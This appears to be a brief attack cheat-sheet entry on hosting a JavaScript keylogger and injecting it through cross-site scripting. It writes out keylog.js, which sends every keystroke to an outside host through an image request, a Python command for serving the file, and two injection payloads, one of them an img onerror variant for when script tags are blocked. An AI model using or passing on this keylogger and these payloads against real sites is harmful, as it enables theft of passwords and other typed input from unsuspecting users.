Hosting method:
- First create a file name keylog.js with the following content: (removed the original
fetch("http://domain/?keylog=" + event.key)code as new Image().src is better)function logKey(event){ new Image().src = "http://domain/?keylog=" + event.key } document.addEventListener('keydown', logKey); -
Host the file using Python:
python3 -m http.server 80 -
Inject the payload:
<script src="http://ownIP/keylog.js"></script> - Can also use the following if script tag is blocked:
<img src="x" onerror="document.head.appendChild(Object.assign(document.createElement('script'), {src: 'http://domain/keylog.js'}))">